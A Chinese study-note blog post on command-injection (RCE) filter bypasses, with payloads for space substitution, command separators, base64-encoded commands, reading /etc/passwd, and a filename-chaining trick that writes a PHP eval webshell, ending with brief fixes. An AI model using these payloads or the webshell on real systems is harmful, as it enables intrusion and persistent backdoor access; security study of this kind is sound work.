学习笔记-RCE

RCE


免责声明

本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.


描述

由于业务需求,程序有可能要执行系统命令的功能,但如果执行的命令用户可控,业务上有没有做好限制,就可能出现命令执行漏洞。

相关工具

相关案例

writeup


绕过技巧

空格代替

空格在 bash 下,可以用以下字符代替空格

<
${IFS}
$IFS$9
%09
cat</etc/passwd
cat${IFS}/etc/passwd
cat$IFS$9/etc/passwd
cat%09/etc/passwd

$IFS 在 linux 下表示分隔符,只有 cat$IFSa.txt 的时候, bash 解释器会把整个 IFSa 当做变量名,所以导致没有办法运行,然而如果加一个 {} 就固定了变量名,同理在后面加个 $ 可以起到截断的作用,而 $9 指的是当前系统 shell 进程的第九个参数的持有者,就是一个空字符串,因此 $9 相当于没有加东西,等于做了一个前后隔离。

截断符号

比如测试 ping 功能的点,要求填写一个 ip 参数这样的题目,这个时候就需要测试截断符号,将你输入的 ip 参数和后面要执行的命令隔开。首先测试所有的截断符号:

$
;
|
-
(
)
`
||
&&
&
}
{
%0a

利用截断符号配合普通命令简单问题基本就出来;例如:ip=127.0.0.1;cat /home/flag.txt 这样就可以达到同时执行两条命令的效果

编码

这种绕过针对的是系统过滤敏感字符的时候,比如他过滤了cat命令,那么就可以用下面这种方式将cat先base64编码后再进行解码运行。

echo 'cat' | base64

`echo 'Y2F0Cg==' | base64 -d` /etc/passwd

针对一些代码执行的场景,可以通过在 base64 中添加干扰字符的方式尝试绕过

success-inject
c3VjY2Vzcy1pbmplY3Q=

php

<?php
$str='--!~@--c3V$$j<$>Y--|@--2Vzcy1--|@--p--|@--b^^mp--|@--lY--|@--3Q=';
echo base64_decode($str);
?>

python

import base64
leleyyds = base64.b64decode("--!~@--c3V$$j<$>Y--|@--2Vzcy1--|@--p--|@--b^^mp--|@--lY--|@--3Q=")
print(leleyyds.decode())

单引号

cat /etc/pass'w'd

反斜杠利用

linux 下创建文件的命令可以用 1>1 创建文件名为 1 的空文件

ls>1 可以直接把 ls 的内容导入一个文件中, 但是会默认追加 \n

Linux

w>hp\\
w>c.p\\
w>d\>\\
w>\ -\\
w>e64\\
w>bas\\
w>7\|\\
w>XSk\\
w>Fsx\\
w>dFV\\
w>kX0\\
w>bCg\\
w>XZh\\
w>AgZ\\
w>waH\\
w>PD9\\
w>o\ \\
w>ech\\
ls -t>ls
sh ls
  • w 长度最短的命令
  • ls -t 以创建时间来列出当前目录下所有文件
  • 文件列表以[ [ 换 行符] ]分割每个文件
  • 引入 \ 转义ls时的换行
  • 换行不影响命令执行
  • 成功构造任意命令执行,写入Webshell
ls -t
echo PD9waHAgZXZhbCgkX0dFVFsxXSk7 | base64 -d>c.php

Fuzz字典


修复方案

  • 避免命令用户可控
  • 如需用户输入参数,则对用户输入做严格校验,如&&、|、;等

点击关注,共同学习!安全狗的自我修养

github haidragon

https://github.com/haidragon

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

C-haidragon

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值